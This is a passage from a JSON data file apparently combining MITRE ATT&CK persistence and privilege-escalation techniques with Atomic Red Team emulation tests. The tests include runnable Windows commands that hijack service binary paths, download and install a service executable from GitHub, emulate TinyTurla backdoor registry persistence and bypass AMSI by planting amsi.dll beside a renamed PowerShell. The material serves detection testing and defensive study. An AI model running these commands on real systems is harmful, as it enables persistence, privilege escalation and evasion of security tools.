Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). To make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component).",
- "modified": "2022-05-20T16:22:32.605Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process: Windows Service",
- "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services
. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Driver: Driver Load",
- "Service: Service Creation",
- "Windows Registry: Windows Registry Key Creation",
- "Service: Service Modification",
- "Process: OS API Execution",
- "Command: Command Execution",
- "Process: Process Creation"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1543.003"
- },
- "atomic_tests": [
- {
- "name": "Modify Fax service to run PowerShell",
- "auto_generated_guid": "ed366cde-7d12-49df-a833-671904770b9f",
- "description": "This test will temporarily modify the service Fax by changing the binPath to PowerShell\nand will then revert the binPath change, restoring Fax to its original state.\nUpon successful execution, cmd will modify the binpath for `Fax` to spawn powershell. Powershell will then spawn.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc config Fax binPath= \"C:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -noexit -c \\\"write-host 'T1543.003 Test'\\\"\"\nsc start Fax\n",
- "cleanup_command": "sc config Fax binPath= \"C:\\WINDOWS\\system32\\fxssvc.exe\" >nul 2>&1"
- }
- },
- {
- "name": "Service Installation CMD",
- "auto_generated_guid": "981e2942-e433-44e9-afc1-8c957a1496b6",
- "description": "Download an executable from github and start it as a service.\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_type": {
- "description": "Type of service. May be own|share|interact|kernel|filesys|rec|userown|usershare",
- "type": "String",
- "default": "Own"
- },
- "startup_type": {
- "description": "Service start method. May be boot|system|auto|demand|disabled|delayed-auto",
- "type": "String",
- "default": "auto"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_CMD"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc.exe create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe start #{service_name}\n",
- "cleanup_command": "sc.exe stop #{service_name} >nul 2>&1\nsc.exe delete #{service_name} >nul 2>&1\n"
- }
- },
- {
- "name": "Service Installation PowerShell",
- "auto_generated_guid": "491a4af6-a521-4b74-b23b-f7b3f1ee9e77",
- "description": "Installs A Local Service via PowerShell.\nUpon successful execution, powershell will download `AtomicService.exe` from github. Powershell will then use `New-Service` and `Start-Service` to start service. Results will be displayed.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_PowerShell"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "New-Service -Name \"#{service_name}\" -BinaryPathName \"#{binary_path}\"\nStart-Service -Name \"#{service_name}\"\n",
- "cleanup_command": "Stop-Service -Name \"#{service_name}\" 2>&1 | Out-Null\ntry {(Get-WmiObject Win32_Service -filter \"name='#{service_name}'\").Delete()}\ncatch {}\n"
- }
- },
- {
- "name": "TinyTurla backdoor service w64time",
- "auto_generated_guid": "ef0581fd-528e-4662-87bc-4c2affb86940",
- "description": "It's running Dll as service to emulate the TinyTurla backdoor\n\n[Related Talos Blog](https://blog.talosintelligence.com/2021/09/tinyturla.html)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dllfilename": {
- "description": "It specifies Dll file to run as service",
- "type": "string",
- "default": "$PathToAtomicsFolder\\T1543.003\\bin\\w64time.dll"
- }
- },
- "executor": {
- "command": "copy #{dllfilename} %systemroot%\\system32\\\nsc create W64Time binPath= \"c:\\Windows\\System32\\svchost.exe -k TimeService\" type= share start=auto\nsc config W64Time DisplayName= \"Windows 64 Time\"\nsc description W64Time \"Maintain date and time synch on all clients and services in the network\"\nreg add \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /t REG_MULTI_SZ /d \"W64Time\" /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /t REG_EXPAND_SZ /d \"%systemroot%\\system32\\w64time.dll\" /f\nsc start W64Time",
- "cleanup_command": "sc stop W64Time\nsc.exe delete W64Time\ndel %systemroot%\\system32\\w64time.dll\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Svchost\" /v TimeService /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\W64Time\\Parameters\" /v ServiceDll /f",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Remote Service Installation CMD",
- "auto_generated_guid": "fb4151a2-db33-4f8c-b7f8-78ea8790f961",
- "description": "Download an executable from github and start it as a service on a remote endpoint\nUpon successful execution, powershell will download `AtomicService.exe` from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "binary_path": {
- "description": "Name of the service binary, include path.",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1543.003\\bin\\AtomicService.exe"
- },
- "service_type": {
- "description": "Type of service. May be own,share,interact,kernel,filesys,rec,userown,usershare",
- "type": "String",
- "default": "Own"
- },
- "startup_type": {
- "description": "Service start method. May be boot,system,auto,demand,disabled,delayed-auto",
- "type": "String",
- "default": "auto"
- },
- "service_name": {
- "description": "Name of the Service",
- "type": "string",
- "default": "AtomicTestService_CMD"
- },
- "remote_host": {
- "description": "Name of the remote endpoint",
- "type": "string",
- "default": "localhost"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Service binary must exist on disk at specified location (#{binary_path})\n",
- "prereq_command": "if (Test-Path #{binary_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe\" -OutFile \"#{binary_path}\"\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "sc.exe \\\\#{remote_host} create #{service_name} binPath= #{binary_path} start=#{startup_type} type=#{service_type}\nsc.exe \\\\#{remote_host} start #{service_name}\n",
- "cleanup_command": "sc.exe \\\\#{remote_host} stop #{service_name} >nul 2>&1\nsc.exe \\\\#{remote_host} delete #{service_name} >nul 2>&1"
- }
- }
- ]
- },
- "T1053.003": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
- "type": "attack-pattern",
- "created": "2019-12-03T14:25:00.538Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.003",
- "url": "https://attack.mitre.org/techniques/T1053/003"
- },
- {
- "source_name": "20 macOS Common Tools and Techniques",
- "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
- "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."
- }
- ],
- "modified": "2022-03-24T17:33:03.443Z",
- "name": "Scheduled Task/Job: Cron",
- "description": "Adversaries may abuse the cron
utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron
utility is a time-based job scheduler for Unix-like operating systems. The crontab
file contains the schedule of cron entries to be run and the specified times for execution. Any crontab
files are stored in operating system-specific file paths.\n\nAn adversary may use cron
in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Scheduled Job: Scheduled Job Creation",
- "File: File Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1053.003"
- },
- "atomic_tests": []
- },
- "T1165": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1165",
- "url": "https://attack.mitre.org/techniques/T1165"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
- "source_name": "Startup Items"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- }
- ],
- "modified": "2020-01-15T18:02:49.891Z",
- "name": "Startup Items",
- "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems
isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist
, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "The /Library/StartupItems
folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1547.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Mathieu Tartare, ESET"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad",
- "type": "attack-pattern",
- "created": "2020-10-05T13:24:49.780Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.012",
- "url": "https://attack.mitre.org/techniques/T1547/012"
- },
- {
- "source_name": "Microsoft AddPrintProcessor May 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor",
- "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020."
- },
- {
- "source_name": "ESET PipeMon May 2020",
- "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/",
- "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020."
- }
- ],
- "modified": "2020-10-09T16:05:36.344Z",
- "name": "Print Processors",
- "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor
API call with an account that has SeLoadDriverPrivilege
enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver
Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory
API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor process API calls to AddPrintProcessor
and GetPrintProcessorDirectory
. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver
or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver
as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Driver: Driver Load",
- "Process: OS API Execution",
- "Windows Registry: Windows Registry Key Modification",
- "Module: Module Load",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1574.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
- "type": "attack-pattern",
- "created": "2020-03-13T18:11:08.357Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.001",
- "url": "https://attack.mitre.org/techniques/T1574/001"
- },
- {
- "external_id": "CAPEC-471",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/471.html"
- },
- {
- "source_name": "Microsoft Dynamic Link Library Search Order",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014."
- },
- {
- "source_name": "FireEye Hijacking July 2010",
- "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html",
- "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020."
- },
- {
- "source_name": "OWASP Binary Planting",
- "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
- "url": "https://www.owasp.org/index.php/Binary_planting"
- },
- {
- "source_name": "FireEye fxsst June 2011",
- "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html",
- "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020."
- },
- {
- "source_name": "Microsoft Security Advisory 2269637",
- "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637",
- "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Dynamic-Link Library Redirection",
- "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN",
- "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020."
- },
- {
- "source_name": "Microsoft Manifests",
- "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
- "url": "https://msdn.microsoft.com/en-US/library/aa375365"
- },
- {
- "source_name": "FireEye DLL Search Order Hijacking",
- "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html",
- "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020."
- }
- ],
- "modified": "2021-04-26T18:37:03.748Z",
- "name": "Hijack Execution Flow: DLL Search Order Hijacking",
- "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "File: File Creation",
- "File: File Modification"
- ],
- "identifier": "T1574.001"
- },
- "atomic_tests": [
- {
- "name": "DLL Search Order Hijacking - amsi.dll",
- "auto_generated_guid": "8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3",
- "description": "Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)\nhttps://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/\n\nUpon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n",
- "cleanup_command": "del %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1103": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:15.409Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1103",
- "url": "https://attack.mitre.org/techniques/T1103"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "url": "https://support.microsoft.com/en-us/kb/197571",
- "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
- "source_name": "AppInit Registry"
- },
- {
- "url": "https://msdn.microsoft.com/en-us/library/dn280412",
- "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
- "source_name": "AppInit Secure Boot"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-11-10T18:29:30.379Z",
- "name": "AppInit DLLs",
- "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows
are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "Secure boot disabled on systems running Windows 8 and later"
- ],
- "x_mitre_effective_permissions": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1053": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Prashant Verma, Paladion",
- "Leo Loobeek, @leoloobeek",
- "Travis Smith, Tripwire",
- "Alain Homewood, Insomnia Security",
- "Andrew Northern, @ex_raritas",
- "Bryan Campbell, @bry_campbell",
- "Zachary Abzug, @ZackDoesML",
- "Selena Larson, @selenalarson"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
- "created": "2017-05-31T21:30:46.977Z",
- "x_mitre_version": "2.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053",
- "url": "https://attack.mitre.org/techniques/T1053"
- },
- {
- "source_name": "ProofPoint Serpent",
- "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain",
- "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022."
- },
- {
- "source_name": "TechNet Task Scheduler Security",
- "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx",
- "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/557.html",
- "source_name": "capec",
- "external_id": "CAPEC-557"
- }
- ],
